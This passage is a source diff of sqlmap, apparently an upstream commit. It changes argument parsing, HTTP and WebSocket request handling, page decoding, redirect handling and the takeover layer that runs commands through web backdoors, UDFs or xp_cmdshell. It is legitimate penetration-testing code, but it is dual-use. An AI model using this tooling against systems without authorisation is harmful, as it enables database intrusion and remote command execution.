                 dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
                 raise SystemExit
@@ -895,6 +927,9 @@ def cmdLineParser(argv=None):
             elif re.search(r"\A-\w=.+", argv[i]):
                 dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
                 raise SystemExit
+            elif re.search(r"\A-\w{3,}", argv[i]):
+                if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
+                    argv[i] = "-%s" % argv[i]
             elif argv[i] in DEPRECATED_OPTIONS:
                 argv[i] = ""
             elif argv[i].startswith("--tamper"):
@@ -931,6 +966,9 @@ def cmdLineParser(argv=None):
                             found = True
                     if not found:
                         get_groups(parser).remove(group)
+            elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-\w\Z", argv[i - 1]) is None:
+                dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i])
+                raise SystemExit
 
         for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
             try:
@@ -964,8 +1002,8 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
-            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
+            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
             errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)
 

lib/parse/configfile.py

@@ -79,14 +79,14 @@ def configFileParser(configFile):
 
     mandatory = False
 
-    for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"):
+    for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
         if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
             mandatory = True
             break
 
     if not mandatory:
         errMsg = "missing a mandatory option in the configuration file "
-        errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)"
+        errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
         raise SqlmapMissingMandatoryOptionException(errMsg)
 
     for family, optionData in optDict.items():

lib/request/basic.py

@@ -34,6 +34,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import lockedmethod
 from lib.core.dicts import HTML_ENTITIES
 from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
@@ -47,6 +48,7 @@ from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
 from lib.core.settings import PARSE_HEADERS_LIMIT
 from lib.core.settings import SELECT_FROM_TABLE_REGEX
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.parse.headers import headersParser
 from lib.parse.html import htmlParser
@@ -57,6 +59,7 @@ from thirdparty.odict import OrderedDict
 from thirdparty.six import unichr as _unichr
 from thirdparty.six.moves import http_client as _http_client
 
+@lockedmethod
 def forgeHeaders(items=None, base=None):
     """
     Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
@@ -110,9 +113,9 @@ def forgeHeaders(items=None, base=None):
                     if conf.loadCookies:
                         conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
                     elif kb.mergeCookies is None:
-                        message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
+                        message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
-                        message += "The target URL provided its own cookies within "
+                        message += "target URL provides its own cookies within "
-                        message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
+                        message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
                         message += "Do you want to merge them in further requests? [Y/n] "
 
                         kb.mergeCookies = readInput(message, default='Y', boolean=True)
@@ -258,13 +261,13 @@ def getHeuristicCharEncoding(page):
     retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
     kb.cache.encoding[key] = retVal
 
-    if retVal:
+    if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
         infoMsg = "heuristics detected web page charset '%s'" % retVal
         singleTimeLogMessage(infoMsg, logging.INFO, retVal)
 
     return retVal
 
-def decodePage(page, contentEncoding, contentType):
+def decodePage(page, contentEncoding, contentType, percentDecode=True):
     """
     Decode compressed/charset HTTP response
 
@@ -331,40 +334,44 @@ def decodePage(page, contentEncoding, contentType):
 
     # can't do for all responses because we need to support binary files too
     if isinstance(page, six.binary_type) and "text/" in contentType:
-        # e.g. 	Ãëàâà
+        if not kb.disableHtmlDecoding:
-        if b"&#" in page:
+            # e.g. 	Ãëàâà
-            page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
+            if b"&#" in page:
-            page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
+                page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
+                page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
 
-        # e.g. %20%28%29
+            # e.g. %20%28%29
-        if b"%" in page:
+            if percentDecode:
-            page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
+                if b"%" in page:
+                    page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
 
-        # e.g. &amp;
+            # e.g. &amp;
-        page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
+            page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
 
-        kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
+            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
 
-        if (kb.pageEncoding or "").lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
-            kb.pageEncoding = "utf-8"
+                kb.pageEncoding = "utf-8"
-            if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
+                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
-                page = page[3:]
+                    page = page[3:]
 
-        page = getUnicode(page, kb.pageEncoding)
+            page = getUnicode(page, kb.pageEncoding)
 
-        # e.g. &#8217;&#8230;&#8482;
+            # e.g. &#8217;&#8230;&#8482;
-        if "&#" in page:
+            if "&#" in page:
-            def _(match):
+                def _(match):
-                retVal = match.group(0)
+                    retVal = match.group(0)
-                try:
+                    try:
-                    retVal = _unichr(int(match.group(1)))
+                        retVal = _unichr(int(match.group(1)))
-                except (ValueError, OverflowError):
+                    except (ValueError, OverflowError):
-                    pass
+                        pass
-                return retVal
+                    return retVal
-            page = re.sub(r"&#(\d+);", _, page)
+                page = re.sub(r"&#(\d+);", _, page)
 
-        # e.g. &zeta;
+            # e.g. &zeta;
-        page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
+            page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
+        else:
+            page = getUnicode(page, kb.pageEncoding)
 
     return page
 
@@ -425,12 +432,17 @@ def processResponse(page, responseHeaders, code=None, status=None):
         for match in re.finditer(r"(?si)<form.+?</form>", page):
             if re.search(r"(?i)captcha", match.group(0)):
                 kb.captchaDetected = True
-                warnMsg = "potential CAPTCHA protection mechanism detected"
-                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
-                    warnMsg += " (CloudFlare)"
-                singleTimeWarnMessage(warnMsg)
                 break
 
+        if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
+            kb.captchaDetected = True
+
+        if kb.captchaDetected:
+            warnMsg = "potential CAPTCHA protection mechanism detected"
+            if re.search(r"(?i)<title>[^<]*CloudFlare", page):
+                warnMsg += " (CloudFlare)"
+            singleTimeWarnMessage(warnMsg)
+
     if re.search(BLOCKED_IP_REGEX, page):
         warnMsg = "it appears that you have been blocked by the target server"
         singleTimeWarnMessage(warnMsg)

lib/request/basicauthhandler.py

@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
     Reference: http://selenic.com/hg/rev/6c51a5056020
     Fix for a: http://bugs.python.org/issue8797
     """
+
     def __init__(self, *args, **kwargs):
         _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
         self.retried_req = set()

lib/request/connect.py

@@ -22,7 +22,6 @@ except ImportError:
     class WebSocketException(Exception):
         pass
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import asciifyUrl
 from lib.core.common import calculateDeltaSeconds
@@ -42,6 +41,7 @@ from lib.core.common import getRequestHeader
 from lib.core.common import getSafeExString
 from lib.core.common import isMultiThreadMode
 from lib.core.common import logHTTPTraffic
+from lib.core.common import openFile
 from lib.core.common import popValue
 from lib.core.common import pushValue
 from lib.core.common import randomizeParameterValue
@@ -60,6 +60,7 @@ from lib.core.common import wasLastResponseDelayed
 from lib.core.compat import patchHeaders
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
+from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -97,6 +98,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
+from lib.core.settings import JAVASCRIPT_HREF_REGEX
 from lib.core.settings import LARGE_READ_TRIM_MARKER
 from lib.core.settings import MAX_CONNECTION_READ_SIZE
 from lib.core.settings import MAX_CONNECTIONS_REGEX
@@ -117,12 +119,14 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import WARN_TIME_STDEV
+from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
 from lib.request.basic import decodePage
 from lib.request.basic import forgeHeaders
 from lib.request.basic import processResponse
 from lib.request.comparison import comparison
 from lib.request.direct import direct
 from lib.request.methodrequest import MethodRequest
+from lib.utils.safe2bin import safecharencode
 from thirdparty import six
 from thirdparty.odict import OrderedDict
 from thirdparty.six import unichr as _unichr
@@ -426,6 +430,14 @@ class Connect(object):
             if auxHeaders:
                 headers = forgeHeaders(auxHeaders, headers)
 
+            if kb.headersFile:
+                content = openFile(kb.headersFile, "rb").read()
+                for line in content.split("\n"):
+                    line = getText(line.strip())
+                    if ':' in line:
+                        header, value = line.split(':', 1)
+                        headers[header] = value
+
             for key, value in list(headers.items()):
                 del headers[key]
                 if isinstance(value, six.string_types):
@@ -440,10 +452,25 @@ class Connect(object):
 
             if webSocket:
                 ws = websocket.WebSocket()
-                ws.settimeout(timeout)
+                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                 ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                 ws.send(urldecode(post or ""))
-                page = ws.recv()
+
+                _page = []
+
+                if kb.webSocketRecvCount is None:
+                    while True:
+                        try:
+                            _page.append(ws.recv())
+                        except websocket.WebSocketTimeoutException:
+                            kb.webSocketRecvCount = len(_page)
+                            break
+                else:
+                    for i in xrange(max(1, kb.webSocketRecvCount)):
+                        _page.append(ws.recv())
+
+                page = "\n".join(_page)
+
                 ws.close()
                 code = ws.status
                 status = _http_client.responses[code]
@@ -539,7 +566,7 @@ class Connect(object):
                     code = None
                     responseHeaders = {}
 
-                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
+                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                 status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
 
             kb.connErrorCounter = 0
@@ -553,10 +580,17 @@ class Connect(object):
                     debugMsg = "got HTML meta refresh header"
                     logger.debug(debugMsg)
 
+                if not refresh:
+                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
+
+                    if refresh:
+                        debugMsg = "got Javascript redirect request"
+                        logger.debug(debugMsg)
+
                 if refresh:
                     if kb.alwaysRefresh is None:
-                        msg = "sqlmap got a refresh request "
+                        msg = "got a refresh request "
-                        msg += "(redirect like response common to login pages). "
+                        msg += "(redirect like response common to login pages) to '%s'. " % refresh
                         msg += "Do you want to apply the refresh "
                         msg += "from now on (or stay on the original page)? [Y/n]"
 
@@ -610,7 +644,7 @@ class Connect(object):
                 responseHeaders = ex.info()
                 responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                 patchHeaders(responseHeaders)
-                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
+                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
             except socket.timeout:
                 warnMsg = "connection timed out while trying "
                 warnMsg += "to get error page information (%d)" % ex.code
@@ -680,7 +714,7 @@ class Connect(object):
                         else:
                             raise SqlmapConnectionException(warnMsg)
                 else:
-                    debugMsg = "got HTTP error code: %d (%s)" % (code, status)
+                    debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
                     logger.debug(debugMsg)
 
         except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
@@ -749,21 +783,17 @@ class Connect(object):
 
                 if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                     message = "there seems to be a continuous problem with connection to the target. "
-                    message += "Are you sure that you want to continue "
+                    message += "Are you sure that you want to continue? [y/N] "
-                    message += "with further target testing? [y/N] "
 
                     kb.connErrorChoice = readInput(message, default='N', boolean=True)
 
-                if kb.connErrorChoice is not None:
+                if kb.connErrorChoice is False:
-                    if kb.connErrorChoice:
+                    raise SqlmapUserQuitException
-                        raise SqlmapConnectionException(warnMsg)
-                    else:
-                        raise SqlmapUserQuitException
 
             if "forcibly closed" in tbMsg:
                 logger.critical(warnMsg)
                 return None, None, None
-            elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
+            elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")):
                 return None if not conf.ignoreTimeouts else "", None, None
             elif threadData.retriesCount < conf.retries and not kb.threadException:
                 warnMsg += ". sqlmap is going to retry the request"
@@ -833,7 +863,7 @@ class Connect(object):
 
     @staticmethod
     @stackedmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
         """
         This method calls a function to get the target URL page content
         and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -918,7 +948,7 @@ class Connect(object):
                 if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                     # payloads in SOAP/XML should have chars > and < replaced
                     # with their HTML encoded counterparts
-                    payload = payload.replace('>', "&gt;").replace('<', "&lt;")
+                    payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"', "&quot;").replace("'", "&apos;")  # Reference: https://stackoverflow.com/a/1091953
                 elif kb.postHint == POST_HINT.JSON:
                     payload = escapeJsonValue(payload)
                 elif kb.postHint == POST_HINT.JSON_LIKE:
@@ -1033,7 +1063,7 @@ class Connect(object):
                 return retVal
 
             token = AttribDict()
-            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
+            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
             page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
 
             match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
@@ -1333,17 +1363,18 @@ class Connect(object):
                     warnMsg += "behavior in custom WAF/IPS solutions"
                 singleTimeWarnMessage(warnMsg)
 
-        if conf.secondUrl:
+        if not ignoreSecondOrder:
-            page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+            if conf.secondUrl:
-        elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
+                page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
-            def _(value):
+            elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
-                if kb.customInjectionMark in (value or ""):
+                def _(value):
-                    if payload is None:
+                    if kb.customInjectionMark in (value or ""):
-                        value = value.replace(kb.customInjectionMark, "")
+                        if payload is None:
-                    else:
+                            value = value.replace(kb.customInjectionMark, "")
-                        value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
+                        else:
-                return value
+                            value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
-            page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+                    return value
+                page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
 
         threadData.lastQueryDuration = calculateDeltaSeconds(start)
 

lib/request/direct.py

@@ -5,9 +5,9 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
@@ -25,8 +25,8 @@ from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import TIMEOUT_STATE
-from lib.core.settings import TAKEOVER_TABLE_PREFIX
 from lib.core.settings import UNICODE_ENCODING
+from lib.utils.safe2bin import safecharencode
 from lib.utils.timeout import timeout
 
 def direct(query, content=True):
@@ -44,8 +44,14 @@ def direct(query, content=True):
                 select = False
                 break
 
-    if select and not query.upper().startswith("SELECT "):
+    if select:
-        query = "SELECT %s" % query
+        if not query.upper().startswith("SELECT "):
+            query = "SELECT %s" % query
+        if conf.binaryFields:
+            for field in conf.binaryFields:
+                field = field.strip()
+                if re.search(r"\b%s\b" % re.escape(field), query):
+                    query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
 
     logger.log(CUSTOM_LOGGING.PAYLOAD, query)
 
@@ -54,7 +60,7 @@ def direct(query, content=True):
 
     if not select and "EXEC " not in query.upper():
         timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
-    elif not (output and ("%soutput" % TAKEOVER_TABLE_PREFIX) not in query and ("%sfile" % TAKEOVER_TABLE_PREFIX) not in query):
+    elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
         output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
         if state == TIMEOUT_STATE.NORMAL:
             hashDBWrite(query, output, True)

lib/request/httpshandler.py

@@ -11,7 +11,6 @@ import socket
 
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
-from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -27,6 +26,7 @@ except ImportError:
     pass
 
 _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
+_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
 
 class HTTPSConnection(_http_client.HTTPSConnection):
     """
@@ -50,7 +50,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
 
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
             for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
                 try:
                     sock = create_sock()
@@ -66,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                         sock.close()
                 except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                     self._tunnel_host = None
-                    logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
+                    logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
 
             if kb.tlsSNI.get(self.host) is None:
                 kb.tlsSNI[self.host] = success
@@ -86,7 +86,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                         sock.close()
                 except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                     self._tunnel_host = None
-                    logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
+                    logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
 
         if not success:
             errMsg = "can't establish SSL connection"

lib/request/inject.py

@@ -24,6 +24,7 @@ from lib.core.common import getTechniqueData
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import initTechnique
+from lib.core.common import isDigit
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
@@ -109,7 +110,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
                 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                     expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
 
-            if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','):
+            if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
                 nulledCastedField = agent.nullAndCastField(field)
                 injExpression = expression.replace(field, nulledCastedField, 1)
             else:
@@ -235,7 +236,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                             elif choice == 'Q':
                                 raise SqlmapUserQuitException
 
-                            elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
+                            elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
                                 stopLimit = int(choice)
 
                                 infoMsg = "sqlmap is now going to retrieve the "
@@ -246,7 +247,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                                 message = "how many? "
                                 stopLimit = readInput(message, default="10")
 
-                                if not stopLimit.isdigit():
+                                if not isDigit(stopLimit):
                                     errMsg = "invalid choice"
                                     logger.error(errMsg)
 
@@ -261,7 +262,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
 
                                 return None
 
-                    elif count and not count.isdigit():
+                    elif count and not isDigit(count):
                         warnMsg = "it was not possible to count the number "
                         warnMsg += "of entries for the SQL query provided. "
                         warnMsg += "sqlmap will assume that it returns only "

lib/request/methodrequest.py

@@ -5,6 +5,7 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.convert import getText
 from thirdparty.six.moves import urllib as _urllib
 
 class MethodRequest(_urllib.request.Request):
@@ -13,7 +14,7 @@ class MethodRequest(_urllib.request.Request):
     """
 
     def set_method(self, method):
-        self.method = method.upper()
+        self.method = getText(method.upper())  # Dirty hack for Python3 (may it rot in hell!)
 
     def get_method(self):
         return getattr(self, 'method', _urllib.request.Request.get_method(self))

lib/request/redirecthandler.py

@@ -10,7 +10,6 @@ import time
 import types
 
 from lib.core.common import getHostHeader
-from lib.core.common import getSafeExString
 from lib.core.common import logHTTPTraffic
 from lib.core.common import readInput
 from lib.core.convert import getUnicode
@@ -47,7 +46,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
     def _ask_redirect_choice(self, redcode, redurl, method):
         with kb.locks.redirect:
             if kb.redirectChoice is None:
-                msg = "sqlmap got a %d redirect to " % redcode
+                msg = "got a %d redirect to " % redcode
                 msg += "'%s'. Do you want to follow? [Y/n] " % redurl
 
                 kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
@@ -74,10 +73,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
 
         try:
             content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
-        except Exception as ex:
+        except:  # e.g. IncompleteRead
-            dbgMsg = "there was a problem while retrieving "
+            content = ""
-            dbgMsg += "redirect response content ('%s')" % getSafeExString(ex)
-            logger.debug(dbgMsg)
         finally:
             if content:
                 try:  # try to write it back to the read buffer so we could reuse it in further steps
@@ -170,7 +167,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
         threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)
 
         result.redcode = code
-        result.redurl = redurl
+        result.redurl = getUnicode(redurl)
         return result
 
     http_error_301 = http_error_303 = http_error_307 = http_error_302

lib/takeover/abstraction.py

@@ -9,7 +9,6 @@ from __future__ import print_function
 
 import sys
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import Backend
 from lib.core.common import dataToStdout
 from lib.core.common import getSQLSnippet
@@ -17,6 +16,7 @@ from lib.core.common import isStackingAvailable
 from lib.core.common import readInput
 from lib.core.convert import getUnicode
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.enums import DBMS
@@ -28,6 +28,7 @@ from lib.request import inject
 from lib.takeover.udf import UDF
 from lib.takeover.web import Web
 from lib.takeover.xp_cmdshell import XP_cmdshell
+from lib.utils.safe2bin import safechardecode
 from thirdparty.six.moves import input as _input
 
 class Abstraction(Web, UDF, XP_cmdshell):
@@ -48,7 +49,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
         if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
             self.copyExecCmd(cmd)
 
-        elif self.webBackdoorUrl and not isStackingAvailable():
+        elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
             self.webBackdoorRunCmd(cmd)
 
         elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -67,7 +68,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
         if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
             retVal = self.copyExecCmd(cmd)
 
-        elif self.webBackdoorUrl and not isStackingAvailable():
